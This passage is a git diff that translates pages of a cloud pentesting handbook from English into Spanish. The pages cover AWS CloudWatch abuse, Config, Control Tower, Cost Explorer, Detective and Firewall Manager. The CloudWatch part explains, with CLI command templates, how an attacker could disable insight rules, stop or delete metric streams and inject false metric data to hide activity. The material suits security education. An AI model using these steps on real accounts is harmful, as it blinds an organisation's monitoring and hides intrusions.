Dificultad para detectar y responder a problemas de rendimiento y anomalías, toma de decisiones mal informadas y potencialmente ocultar actividades maliciosas o fallos del sistema. ### **`cloudwatch:DisableInsightRules`, `cloudwatch:EnableInsightRules`** -By disabling critical insight rules, an attacker could effectively blind the organization to key performance and security metrics. Conversely, by enabling or configuring misleading rules, it could be possible to generate false data, create noise, or hide malicious activity. - +Al deshabilitar reglas de información críticas, un atacante podría cegar efectivamente a la organización sobre métricas clave de rendimiento y seguridad. Por el contrario, al habilitar o configurar reglas engañosas, podría ser posible generar datos falsos, crear ruido u ocultar actividad maliciosa. ```bash aws cloudwatch disable-insight-rules --rule-names aws cloudwatch enable-insight-rules --rule-names ``` - -**Potential Impact**: Confusion among the operations team, leading to delayed responses to actual issues and unnecessary actions based on false alerts. +**Impacto Potencial**: Confusión entre el equipo de operaciones, lo que lleva a respuestas retrasadas a problemas reales y acciones innecesarias basadas en alertas falsas. ### **`cloudwatch:DeleteMetricStream` , `cloudwatch:PutMetricStream` , `cloudwatch:PutMetricData`** -An attacker with the **`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream`** permissions would be able to create and delete metric data streams, compromising the security, monitoring and data integrity: +Un atacante con los permisos **`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream`** podría crear y eliminar flujos de datos de métricas, comprometiendo la seguridad, la monitorización y la integridad de los datos: -- **Create malicious streams**: Create metric streams to send sensitive data to unauthorized destinations. -- **Resource manipulation**: The creation of new metric streams with excessive data could produce a lot of noise, causing incorrect alerts, masking true issues. -- **Monitoring disruption**: Deleting metric streams, attackers would disrupt the continuos flow of monitoring data. This way, their malicious activities would be effectively hidden. - -Similarly, with the **`cloudwatch:PutMetricData`** permission, it would be possible to add data to a metric stream. This could lead to a DoS because of the amount of improper data added, making it completely useless. +- **Crear flujos maliciosos**: Crear flujos de métricas para enviar datos sensibles a destinos no autorizados. +- **Manipulación de recursos**: La creación de nuevos flujos de métricas con datos excesivos podría producir mucho ruido, causando alertas incorrectas y enmascarando problemas reales. +- **Interrupción de la monitorización**: Al eliminar flujos de métricas, los atacantes interrumpirían el flujo continuo de datos de monitorización. De esta manera, sus actividades maliciosas estarían efectivamente ocultas. +De manera similar, con el permiso **`cloudwatch:PutMetricData`**, sería posible agregar datos a un flujo de métricas. Esto podría llevar a un DoS debido a la cantidad de datos inapropiados añadidos, haciéndolo completamente inútil. ```bash aws cloudwatch delete-metric-stream --name aws cloudwatch put-metric-stream --name [--include-filters ] [--exclude-filters ] --firehose-arn --role-arn --output-format aws cloudwatch put-metric-data --namespace [--metric-data ] [--metric-name ] [--timestamp ] [--unit ] [--value ] [--dimensions ] ``` - -Example of adding data corresponding to a 70% of a CPU utilization over a given EC2 instance: - +Ejemplo de agregar datos correspondientes a un 70% de utilización de CPU en una instancia EC2 dada: ```bash aws cloudwatch put-metric-data --namespace "AWS/EC2" --metric-name "CPUUtilization" --value 70 --unit "Percent" --dimensions "InstanceId=i-0123456789abcdefg" ``` - -**Potential Impact**: Disruption in the flow of monitoring data, impacting the detection of anomalies and incidents, resource manipulation and costs increasing due to the creation of excessive metric streams. +**Impacto Potencial**: Disrupción en el flujo de datos de monitoreo, afectando la detección de anomalías e incidentes, manipulación de recursos y aumento de costos debido a la creación de flujos de métricas excesivos. ### **`cloudwatch:StopMetricStreams`, `cloudwatch:StartMetricStreams`** -An attacker would control the flow of the affected metric data streams (every data stream if there is no resource restriction). With the permission **`cloudwatch:StopMetricStreams`**, attackers could hide their malicious activities by stopping critical metric streams. - +Un atacante controlaría el flujo de los flujos de datos de métricas afectados (cada flujo de datos si no hay restricción de recursos). Con el permiso **`cloudwatch:StopMetricStreams`**, los atacantes podrían ocultar sus actividades maliciosas al detener flujos de métricas críticos. ```bash aws cloudwatch stop-metric-streams --names aws cloudwatch start-metric-streams --names ``` - -**Potential Impact**: Disruption in the flow of monitoring data, impacting the detection of anomalies and incidents. +**Impacto Potencial**: Disrupción en el flujo de datos de monitoreo, afectando la detección de anomalías e incidentes. ### **`cloudwatch:TagResource`, `cloudwatch:UntagResource`** -An attacker would be able to add, modify, or remove tags from CloudWatch resources (currently only alarms and Contributor Insights rules). This could disrupting your organization's access control policies based on tags. - +Un atacante podría agregar, modificar o eliminar etiquetas de los recursos de CloudWatch (actualmente solo alarmas y reglas de Contributor Insights). Esto podría interrumpir las políticas de control de acceso de su organización basadas en etiquetas. ```bash aws cloudwatch tag-resource --resource-arn --tags aws cloudwatch untag-resource --resource-arn --tag-keys ``` +**Impacto Potencial**: Disrupción de las políticas de control de acceso basadas en etiquetas. -**Potential Impact**: Disruption of tag-based access control policies. - -## References +## Referencias - [https://cloudsecdocs.com/aws/services/logging/cloudwatch/](https://cloudsecdocs.com/aws/services/logging/cloudwatch/#general-info) - [https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoncloudwatch.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazoncloudwatch.html) - [https://docs.aws.amazon.com/es_es/AmazonCloudWatch/latest/monitoring/cloudwatch_concepts.html#Metric](https://docs.aws.amazon.com/es_es/AmazonCloudWatch/latest/monitoring/cloudwatch_concepts.html#Metric) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md index f2ab3c4c5..b71e8b44b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md @@ -4,47 +4,43 @@ ## AWS Config -AWS Config **capture resource changes**, so any change to a resource supported by Config can be recorded, which will **record what changed along with other useful metadata, all held within a file known as a configuration item**, a CI. This service is **region specific**. +AWS Config **captura cambios en los recursos**, por lo que cualquier cambio en un recurso compatible con Config puede ser registrado, lo que **registrará lo que cambió junto con otra metadata útil, todo contenido en un archivo conocido como un elemento de configuración**, un CI. Este servicio es **específico de la región**. -A configuration item or **CI** as it's known, is a key component of AWS Config. It is comprised of a JSON file that **holds the configuration information, relationship information and other metadata as a point-in-time snapshot view of a supported resource**. All the information that AWS Config can record for a resource is captured within the CI. A CI is created **every time** a supported resource has a change made to its configuration in any way. In addition to recording the details of the affected resource, AWS Config will also record CIs for any directly related resources to ensure the change did not affect those resources too. +Un elemento de configuración o **CI**, como se le conoce, es un componente clave de AWS Config. Está compuesto por un archivo JSON que **contiene la información de configuración, información de relación y otra metadata como una vista instantánea de un recurso compatible en un momento dado**. Toda la información que AWS Config puede registrar para un recurso se captura dentro del CI. Un CI se crea **cada vez que** un recurso compatible tiene un cambio en su configuración de cualquier manera. Además de registrar los detalles del recurso afectado, AWS Config también registrará CIs para cualquier recurso directamente relacionado para asegurar que el cambio no afectó a esos recursos también. -- **Metadata**: Contains details about the configuration item itself. A version ID and a configuration ID, which uniquely identifies the CI. Ither information can include a MD5Hash that allows you to compare other CIs already recorded against the same resource. -- **Attributes**: This holds common **attribute information against the actual resource**. Within this section, we also have a unique resource ID, and any key value tags that are associated to the resource. The resource type is also listed. For example, if this was a CI for an EC2 instance, the resource types listed could be the network interface, or the elastic IP address for that EC2 instance -- **Relationships**: This holds information for any connected **relationship that the resource may have**. So within this section, it would show a clear description of any relationship to other resources that this resource had. For example, if the CI was for an EC2 instance, the relationship section may show the connection to a VPC along with the subnet that the EC2 instance resides in. -- **Current configuration:** This will display the same information that would be generated if you were to perform a describe or list API call made by the AWS CLI. AWS Config uses the same API calls to get the same information. -- **Related events**: This relates to AWS CloudTrail. This will display the **AWS CloudTrail event ID that is related to the change that triggered the creation of this CI**. There is a new CI made for every change made against a resource. As a result, different CloudTrail event IDs will be created. +- **Metadata**: Contiene detalles sobre el elemento de configuración en sí. Un ID de versión y un ID de configuración, que identifican de manera única el CI. Otra información puede incluir un MD5Hash que te permite comparar otros CIs ya registrados contra el mismo recurso. +- **Atributos**: Esto contiene información común de **atributos contra el recurso real**. Dentro de esta sección, también tenemos un ID de recurso único y cualquier etiqueta de valor clave que esté asociada al recurso. El tipo de recurso también se lista. Por ejemplo, si este fuera un CI para una instancia EC2, los tipos de recursos listados podrían ser la interfaz de red o la dirección IP elástica para esa instancia EC2. +- **Relaciones**: Esto contiene información sobre cualquier **relación conectada que el recurso pueda tener**. Así que dentro de esta sección, mostraría una descripción clara de cualquier relación con otros recursos que este recurso tuviera. Por ejemplo, si el CI fuera para una instancia EC2, la sección de relaciones podría mostrar la conexión a un VPC junto con la subred en la que reside la instancia EC2. +- **Configuración actual:** Esto mostrará la misma información que se generaría si realizaras una llamada API de descripción o lista hecha por el AWS CLI. AWS Config utiliza las mismas llamadas API para obtener la misma información. +- **Eventos relacionados**: Esto se relaciona con AWS CloudTrail. Esto mostrará el **ID de evento de AWS CloudTrail que está relacionado con el cambio que activó la creación de este CI**. Se crea un nuevo CI para cada cambio realizado en un recurso. Como resultado, se crearán diferentes IDs de eventos de CloudTrail. -**Configuration History**: It's possible to obtain the configuration history of resources thanks to the configurations items. A configuration history is delivered every 6 hours and contains all CI's for a particular resource type. +**Historial de Configuración**: Es posible obtener el historial de configuración de los recursos gracias a los elementos de configuración. Un historial de configuración se entrega cada 6 horas y contiene todos los CI para un tipo de recurso particular. -**Configuration Streams**: Configuration items are sent to an SNS Topic to enable analysis of the data. +**Flujos de Configuración**: Los elementos de configuración se envían a un Tema SNS para habilitar el análisis de los datos. -**Configuration Snapshots**: Configuration items are used to create a point in time snapshot of all supported resources. +**Instantáneas de Configuración**: Los elementos de configuración se utilizan para crear una instantánea en el tiempo de todos los recursos compatibles. -**S3 is used to store** the Configuration History files and any Configuration snapshots of your data within a single bucket, which is defined within the Configuration recorder. If you have multiple AWS accounts you may want to aggregate your configuration history files into the same S3 bucket for your primary account. However, you'll need to grant write access for this service principle, config.amazonaws.com, and your secondary accounts with write access to the S3 bucket in your primary account. +**S3 se utiliza para almacenar** los archivos de Historial de Configuración y cualquier instantánea de Configuración de tus datos dentro de un solo bucket, que se define dentro del grabador de configuración. Si tienes múltiples cuentas de AWS, es posible que desees agregar tus archivos de historial de configuración en el mismo bucket S3 para tu cuenta principal. Sin embargo, necesitarás otorgar acceso de escritura para este principio de servicio, config.amazonaws.com, y tus cuentas secundarias con acceso de escritura al bucket S3 en tu cuenta principal. -### Functioning +### Funcionamiento -- When make changes, for example to security group or bucket access control list —> fire off as an Event picked up by AWS Config -- Stores everything in S3 bucket -- Depending on the setup, as soon as something changes it could trigger a lambda function OR schedule lambda function to periodically look through the AWS Config settings -- Lambda feeds back to Config -- If rule has been broken, Config fires up an SNS +- Cuando se realizan cambios, por ejemplo, en el grupo de seguridad o en la lista de control de acceso del bucket —> se dispara como un Evento recogido por AWS Config +- Almacena todo en el bucket S3 +- Dependiendo de la configuración, tan pronto como algo cambie, podría activar una función lambda O programar una función lambda para revisar periódicamente la configuración de AWS Config +- Lambda retroalimenta a Config +- Si se ha roto una regla, Config activa un SNS ![](<../../../../images/image (126).png>) -### Config Rules +### Reglas de Config -Config rules are a great way to help you **enforce specific compliance checks** **and controls across your resources**, and allows you to adopt an ideal deployment specification for each of your resource types. Each rule **is essentially a lambda function** that when called upon evaluates the resource and carries out some simple logic to determine the compliance result with the rule. **Each time a change is made** to one of your supported resources, **AWS Config will check the compliance against any config rules that you have in place**.\ -AWS have a number of **predefined rules** that fall under the security umbrella that are ready to use. For example, Rds-storage-encrypted. This checks whether storage encryption is activated by your RDS database instances. Encrypted-volumes. This checks to see if any EBS volumes that have an attached state are encrypted. +Las reglas de Config son una excelente manera de ayudarte a **hacer cumplir verificaciones de cumplimiento específicas** **y controles en tus recursos**, y te permiten adoptar una especificación de implementación ideal para cada uno de tus tipos de recursos. Cada regla **es esencialmente una función lambda** que, cuando se invoca, evalúa el recurso y lleva a cabo alguna lógica simple para determinar el resultado de cumplimiento con la regla. **Cada vez que se realiza un cambio** en uno de tus recursos compatibles, **AWS Config verificará el cumplimiento contra cualquier regla de configuración que tengas en su lugar**.\ +AWS tiene una serie de **reglas predefinidas** que caen bajo el paraguas de seguridad y están listas para usar. Por ejemplo, Rds-storage-encrypted. Esto verifica si la encriptación de almacenamiento está activada por tus instancias de base de datos RDS. Encrypted-volumes. Esto verifica si algún volumen EBS que tiene un estado adjunto está encriptado. -- **AWS Managed rules**: Set of predefined rules that cover a lot of best practices, so it's always worth browsing these rules first before setting up your own as there is a chance that the rule may already exist. -- **Custom rules**: You can create your own rules to check specific customconfigurations. +- **Reglas gestionadas por AWS**: Conjunto de reglas predefinidas que cubren muchas de las mejores prácticas, por lo que siempre vale la pena revisar estas reglas primero antes de configurar las tuyas, ya que existe la posibilidad de que la regla ya exista. +- **Reglas personalizadas**: Puedes crear tus propias reglas para verificar configuraciones personalizadas específicas. -Limit of 50 config rules per region before you need to contact AWS for an increase.\ -Non compliant results are NOT deleted. +Límite de 50 reglas de configuración por región antes de que necesites contactar a AWS para un aumento.\ +Los resultados no conformes NO se eliminan. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md index 9fab39fb8..50d8653a2 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md @@ -5,42 +5,36 @@ ## Control Tower > [!NOTE] -> In summary, Control Tower is a service that allows to define policies for all your accounts inside your org. So instead of managing each of the you can set policies from Control Tower that will be applied on them. +> En resumen, Control Tower es un servicio que permite definir políticas para todas tus cuentas dentro de tu organización. Así que en lugar de gestionar cada una de ellas, puedes establecer políticas desde Control Tower que se aplicarán a ellas. -AWS Control Tower is a **service provided by Amazon Web Services (AWS)** that enables organizations to set up and govern a secure, compliant, multi-account environment in AWS. +AWS Control Tower es un **servicio proporcionado por Amazon Web Services (AWS)** que permite a las organizaciones configurar y gobernar un entorno seguro, conforme y multi-cuenta en AWS. -AWS Control Tower provides a **pre-defined set of best-practice blueprints** that can be customized to meet specific **organizational requirements**. These blueprints include pre-configured AWS services and features, such as AWS Single Sign-On (SSO), AWS Config, AWS CloudTrail, and AWS Service Catalog. +AWS Control Tower proporciona un **conjunto predefinido de plantillas de mejores prácticas** que se pueden personalizar para cumplir con **requisitos organizacionales** específicos. Estas plantillas incluyen servicios y características de AWS preconfigurados, como AWS Single Sign-On (SSO), AWS Config, AWS CloudTrail y AWS Service Catalog. -With AWS Control Tower, administrators can quickly set up a **multi-account environment that meets organizational requirements**, such as **security** and compliance. The service provides a central dashboard to view and manage accounts and resources, and it also automates the provisioning of accounts, services, and policies. +Con AWS Control Tower, los administradores pueden configurar rápidamente un **entorno multi-cuenta que cumpla con los requisitos organizacionales**, como **seguridad** y cumplimiento. El servicio proporciona un panel central para ver y gestionar cuentas y recursos, y también automatiza la provisión de cuentas, servicios y políticas. -In addition, AWS Control Tower provides guardrails, which are a set of pre-configured policies that ensure the environment remains compliant with organizational requirements. These policies can be customized to meet specific needs. +Además, AWS Control Tower proporciona barandillas, que son un conjunto de políticas preconfiguradas que aseguran que el entorno permanezca conforme a los requisitos organizacionales. Estas políticas se pueden personalizar para satisfacer necesidades específicas. -Overall, AWS Control Tower simplifies the process of setting up and managing a secure, compliant, multi-account environment in AWS, making it easier for organizations to focus on their core business objectives. +En general, AWS Control Tower simplifica el proceso de configurar y gestionar un entorno seguro, conforme y multi-cuenta en AWS, facilitando a las organizaciones centrarse en sus objetivos comerciales principales. ### Enumeration -For enumerating controltower controls, you first need to **have enumerated the org**: +Para enumerar los controles de controltower, primero necesitas **haber enumerado la organización**: {{#ref}} ../aws-organizations-enum.md {{#endref}} - ```bash # Get controls applied in an account aws controltower list-enabled-controls --target-identifier arn:aws:organizations:::ou/ ``` - > [!WARNING] -> Control Tower can also use **Account factory** to execute **CloudFormation templates** in **accounts and run services** (privesc, post-exploitation...) in those accounts +> Control Tower también puede usar **Account factory** para ejecutar **CloudFormation templates** en **cuentas y ejecutar servicios** (privesc, post-exploitation...) en esas cuentas -### Post Exploitation & Persistence +### Post Explotación y Persistencia {{#ref}} ../../aws-post-exploitation/aws-control-tower-post-exploitation.md {{#endref}} {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md index 2f967331b..b482146f0 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cost-explorer-enum.md @@ -2,18 +2,14 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Cost Explorer and Anomaly detection +## Cost Explorer y detección de anomalías -This allows you to check **how are you expending money in AWS services** and help you **detecting anomalies**.\ -Moreover, you can configure an anomaly detection so AWS will warn you when some a**nomaly in costs is found**. +Esto te permite verificar **cómo estás gastando dinero en los servicios de AWS** y te ayuda a **detectar anomalías**.\ +Además, puedes configurar una detección de anomalías para que AWS te avise cuando se encuentre alguna **anomalía en los costos**. -### Budgets +### Presupuestos -Budgets help to **manage costs and usage**. You can get **alerted when a threshold is reached**.\ -Also, they can be used for non cost related monitoring like the usage of a service (how many GB are used in a particular S3 bucket?). +Los presupuestos ayudan a **gestionar costos y uso**. Puedes recibir **alertas cuando se alcanza un umbral**.\ +Además, se pueden utilizar para monitoreo no relacionado con costos, como el uso de un servicio (¿cuántos GB se utilizan en un bucket S3 particular?). {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md index 9d1a40eba..9274204f4 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-detective-enum.md @@ -4,9 +4,9 @@ ## Detective -**Amazon Detective** streamlines the security investigation process, making it more efficient to **analyze, investigate, and pinpoint the root cause** of security issues or unusual activities. It automates the collection of log data from AWS resources and employs **machine learning, statistical analysis, and graph theory** to construct an interconnected data set. This setup greatly enhances the speed and effectiveness of security investigations. +**Amazon Detective** agiliza el proceso de investigación de seguridad, haciéndolo más eficiente para **analizar, investigar y identificar la causa raíz** de problemas de seguridad o actividades inusuales. Automatiza la recopilación de datos de registro de recursos de AWS y emplea **aprendizaje automático, análisis estadístico y teoría de grafos** para construir un conjunto de datos interconectados. Esta configuración mejora enormemente la velocidad y efectividad de las investigaciones de seguridad. -The service eases in-depth exploration of security incidents, allowing security teams to swiftly understand and address the underlying causes of issues. Amazon Detective analyzes vast amounts of data from sources like VPC Flow Logs, AWS CloudTrail, and Amazon GuardDuty. It automatically generates a **comprehensive, interactive view of resources, users, and their interactions over time**. This integrated perspective provides all necessary details and context in one location, enabling teams to discern the reasons behind security findings, examine pertinent historical activities, and rapidly determine the root cause. +El servicio facilita la exploración en profundidad de incidentes de seguridad, permitiendo a los equipos de seguridad comprender y abordar rápidamente las causas subyacentes de los problemas. Amazon Detective analiza grandes cantidades de datos de fuentes como VPC Flow Logs, AWS CloudTrail y Amazon GuardDuty. Genera automáticamente una **vista interactiva y completa de recursos, usuarios y sus interacciones a lo largo del tiempo**. Esta perspectiva integrada proporciona todos los detalles y el contexto necesarios en un solo lugar, lo que permite a los equipos discernir las razones detrás de los hallazgos de seguridad, examinar actividades históricas pertinentes y determinar rápidamente la causa raíz. ## References @@ -14,7 +14,3 @@ The service eases in-depth exploration of security incidents, allowing security - [https://cloudsecdocs.com/aws/services/logging/other/#detective](https://cloudsecdocs.com/aws/services/logging/other/#detective) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md index 0369f075c..8dd5ea80a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-firewall-manager-enum.md @@ -4,80 +4,79 @@ ## Firewall Manager -**AWS Firewall Manager** streamlines the management and maintenance of **AWS WAF, AWS Shield Advanced, Amazon VPC security groups and Network Access Control Lists (ACLs), and AWS Network Firewall, AWS Route 53 Resolver DNS Firewall and third-party firewalls** across multiple accounts and resources. It enables you to configure your firewall rules, Shield Advanced protections, VPC security groups, and Network Firewall settings just once, with the service **automatically enforcing these rules and protections across your accounts and resources**, including newly added ones. +**AWS Firewall Manager** simplifica la gestión y el mantenimiento de **AWS WAF, AWS Shield Advanced, grupos de seguridad de Amazon VPC y Listas de Control de Acceso de Red (ACLs), y AWS Network Firewall, AWS Route 53 Resolver DNS Firewall y cortafuegos de terceros** a través de múltiples cuentas y recursos. Te permite configurar tus reglas de firewall, protecciones de Shield Advanced, grupos de seguridad de VPC y configuraciones de Network Firewall una sola vez, con el servicio **aplicando automáticamente estas reglas y protecciones en tus cuentas y recursos**, incluidos los recién añadidos. -The service offers the capability to **group and safeguard specific resources together**, like those sharing a common tag or all your CloudFront distributions. A significant advantage of Firewall Manager is its ability to **automatically extend protection to newly added resources** in your account. +El servicio ofrece la capacidad de **agrupar y proteger recursos específicos juntos**, como aquellos que comparten una etiqueta común o todas tus distribuciones de CloudFront. Una ventaja significativa de Firewall Manager es su capacidad de **extender automáticamente la protección a los recursos recién añadidos** en tu cuenta. -A **rule group** (a collection of WAF rules) can be incorporated into an AWS Firewall Manager Policy, which is then linked to specific AWS resources such as CloudFront distributions or application load balancers. +Un **grupo de reglas** (una colección de reglas de WAF) puede ser incorporado en una Política de AWS Firewall Manager, que luego se vincula a recursos específicos de AWS como distribuciones de CloudFront o balanceadores de carga de aplicaciones. -AWS Firewall Manager provides **managed application and protocol lists** to simplify the configuration and management of security group policies. These lists allow you to define the protocols and applications permitted or denied by your policies. There are two types of managed lists: +AWS Firewall Manager proporciona **listas de aplicaciones y protocolos gestionadas** para simplificar la configuración y gestión de políticas de grupos de seguridad. Estas listas te permiten definir los protocolos y aplicaciones permitidos o denegados por tus políticas. Hay dos tipos de listas gestionadas: -- **Firewall Manager managed lists**: These lists include **FMS-Default-Public-Access-Apps-Allowed**, **FMS-Default-Protocols-Allowed** and **FMS-Default-Protocols-Allowed**. They are managed by Firewall Manager and include commonly used applications and protocols that should be allowed or denied to the general public. It is not possible to edit or delete them, however, you can choose its version. -- **Custom managed lists**: You manage these lists yourself. You can create custom application and protocol lists tailored to your organization's needs. Unlike Firewall Manager managed lists, these lists do not have versions, but you have full control over custom lists, allowing you to create, edit, and delete them as required. +- **Listas gestionadas por Firewall Manager**: Estas listas incluyen **FMS-Default-Public-Access-Apps-Allowed**, **FMS-Default-Protocols-Allowed** y **FMS-Default-Protocols-Allowed**. Son gestionadas por Firewall Manager e incluyen aplicaciones y protocolos de uso común que deben ser permitidos o denegados al público en general. No es posible editarlas o eliminarlas, sin embargo, puedes elegir su versión. +- **Listas gestionadas personalizadas**: Tú gestionas estas listas tú mismo. Puedes crear listas de aplicaciones y protocolos personalizadas adaptadas a las necesidades de tu organización. A diferencia de las listas gestionadas por Firewall Manager, estas listas no tienen versiones, pero tienes control total sobre las listas personalizadas, lo que te permite crear, editar y eliminarlas según sea necesario. -It's important to note that **Firewall Manager policies permit only "Block" or "Count" actions** for a rule group, without an "Allow" option. +Es importante señalar que **las políticas de Firewall Manager permiten solo acciones de "Bloquear" o "Contar"** para un grupo de reglas, sin una opción de "Permitir". -### Prerequisites +### Prerrequisitos -The following prerequisite steps must be completed before proceeding to configure Firewall Manager to begin protecting your organization's resources effectively. These steps provide the foundational setup required for Firewall Manager to enforce security policies and ensure compliance across your AWS environment: +Los siguientes pasos de prerrequisitos deben completarse antes de proceder a configurar Firewall Manager para comenzar a proteger efectivamente los recursos de tu organización. Estos pasos proporcionan la configuración básica requerida para que Firewall Manager aplique políticas de seguridad y asegure el cumplimiento en tu entorno de AWS: -1. **Join and configure AWS Organizations:** Ensure your AWS account is part of the AWS Organizations organization where the AWS Firewall Manager policies are planned to be implanted. This allows for centralized management of resources and policies across multiple AWS accounts within the organization. -2. **Create an AWS Firewall Manager Default Administrator Account:** Establish a default administrator account specifically for managing Firewall Manager security policies. This account will be responsible for configuring and enforcing security policies across the organization. Just the management account of the organization is able to create Firewall Manager default administrator accounts. -3. **Enable AWS Config:** Activate AWS Config to provide Firewall Manager with the necessary configuration data and insights required to effectively enforce security policies. AWS Config helps analyze, audit, monitor and audit resource configurations and changes, facilitating better security management. -4. **For Third-Party Policies, Subscribe in the AWS Marketplace and Configure Third-Party Settings:** If you plan to utilize third-party firewall policies, subscribe to them in the AWS Marketplace and configure the necessary settings. This step ensures that Firewall Manager can integrate and enforce policies from trusted third-party vendors. -5. **For Network Firewall and DNS Firewall Policies, enable resource sharing:** Enable resource sharing specifically for Network Firewall and DNS Firewall policies. This allows Firewall Manager to apply firewall protections to your organization's VPCs and DNS resolution, enhancing network security. -6. **To use AWS Firewall Manager in Regions that are disabled by default:** If you intend to use Firewall Manager in AWS regions that are disabled by default, ensure that you take the necessary steps to enable its functionality in those regions. This ensures consistent security enforcement across all regions where your organization operates. +1. **Unirse y configurar AWS Organizations:** Asegúrate de que tu cuenta de AWS sea parte de la organización de AWS Organizations donde se planea implementar las políticas de AWS Firewall Manager. Esto permite la gestión centralizada de recursos y políticas a través de múltiples cuentas de AWS dentro de la organización. +2. **Crear una Cuenta de Administrador Predeterminado de AWS Firewall Manager:** Establece una cuenta de administrador predeterminado específicamente para gestionar las políticas de seguridad de Firewall Manager. Esta cuenta será responsable de configurar y hacer cumplir las políticas de seguridad en toda la organización. Solo la cuenta de gestión de la organización puede crear cuentas de administrador predeterminado de Firewall Manager. +3. **Habilitar AWS Config:** Activa AWS Config para proporcionar a Firewall Manager los datos de configuración e información necesarios para hacer cumplir efectivamente las políticas de seguridad. AWS Config ayuda a analizar, auditar, monitorear y auditar configuraciones de recursos y cambios, facilitando una mejor gestión de la seguridad. +4. **Para Políticas de Terceros, Suscribirse en el AWS Marketplace y Configurar Ajustes de Terceros:** Si planeas utilizar políticas de firewall de terceros, suscríbete a ellas en el AWS Marketplace y configura los ajustes necesarios. Este paso asegura que Firewall Manager pueda integrar y hacer cumplir políticas de proveedores de terceros de confianza. +5. **Para Políticas de Network Firewall y DNS Firewall, habilitar el uso compartido de recursos:** Habilita el uso compartido de recursos específicamente para políticas de Network Firewall y DNS Firewall. Esto permite que Firewall Manager aplique protecciones de firewall a tus VPCs y resolución DNS de la organización, mejorando la seguridad de la red. +6. **Para usar AWS Firewall Manager en Regiones que están deshabilitadas por defecto:** Si tienes la intención de usar Firewall Manager en regiones de AWS que están deshabilitadas por defecto, asegúrate de tomar los pasos necesarios para habilitar su funcionalidad en esas regiones. Esto asegura una aplicación consistente de la seguridad en todas las regiones donde opera tu organización. -For more information, check: [Getting started with AWS Firewall Manager AWS WAF policies](https://docs.aws.amazon.com/waf/latest/developerguide/getting-started-fms.html). +Para más información, consulta: [Getting started with AWS Firewall Manager AWS WAF policies](https://docs.aws.amazon.com/waf/latest/developerguide/getting-started-fms.html). -### Types of protection policies +### Tipos de políticas de protección -AWS Firewall Manager manages several types of policies to enforce security controls across different aspects of your organization's infrastructure: +AWS Firewall Manager gestiona varios tipos de políticas para hacer cumplir controles de seguridad en diferentes aspectos de la infraestructura de tu organización: -1. **AWS WAF Policy:** This policy type supports both AWS WAF and AWS WAF Classic. You can define which resources are protected by the policy. For AWS WAF policies, you can specify sets of rule groups to run first and last in the web ACL. Additionally, account owners can add rules and rule groups to run in between these sets. -2. **Shield Advanced Policy:** This policy applies Shield Advanced protections across your organization for specified resource types. It helps safeguard against DDoS attacks and other threats. -3. **Amazon VPC Security Group Policy:** With this policy, you can manage security groups used throughout your organization, enforcing a baseline set of rules across your AWS environment to control network access. -4. **Amazon VPC Network Access Control List (ACL) Policy:** This policy type gives you control over network ACLs used in your organization, allowing you to enforce a baseline set of network ACLs across your AWS environment. -5. **Network Firewall Policy:** This policy applies AWS Network Firewall protection to your organization's VPCs, enhancing network security by filtering traffic based on predefined rules. -6. **Amazon Route 53 Resolver DNS Firewall Policy:** This policy applies DNS Firewall protections to your organization's VPCs, helping to block malicious domain resolution attempts and enforce security policies for DNS traffic. -7. **Third-Party Firewall Policy:** This policy type applies protections from third-party firewalls, which are available by subscription through the AWS Marketplace console. It allows you to integrate additional security measures from trusted vendors into your AWS environment. - 1. **Palo Alto Networks Cloud NGFW Policy:** This policy applies Palo Alto Networks Cloud Next Generation Firewall (NGFW) protections and rulestacks to your organization's VPCs, providing advanced threat prevention and application-level security controls. - 2. **Fortigate Cloud Native Firewall (CNF) as a Service Policy:** This policy applies Fortigate Cloud Native Firewall (CNF) as a Service protections, offering industry-leading threat prevention, web application firewall (WAF), and API protection tailored for cloud infrastructures. +1. **Política de AWS WAF:** Este tipo de política admite tanto AWS WAF como AWS WAF Classic. Puedes definir qué recursos están protegidos por la política. Para las políticas de AWS WAF, puedes especificar conjuntos de grupos de reglas para ejecutar primero y al final en el ACL web. Además, los propietarios de cuentas pueden agregar reglas y grupos de reglas para ejecutarse entre estos conjuntos. +2. **Política de Shield Advanced:** Esta política aplica protecciones de Shield Advanced en toda tu organización para tipos de recursos especificados. Ayuda a proteger 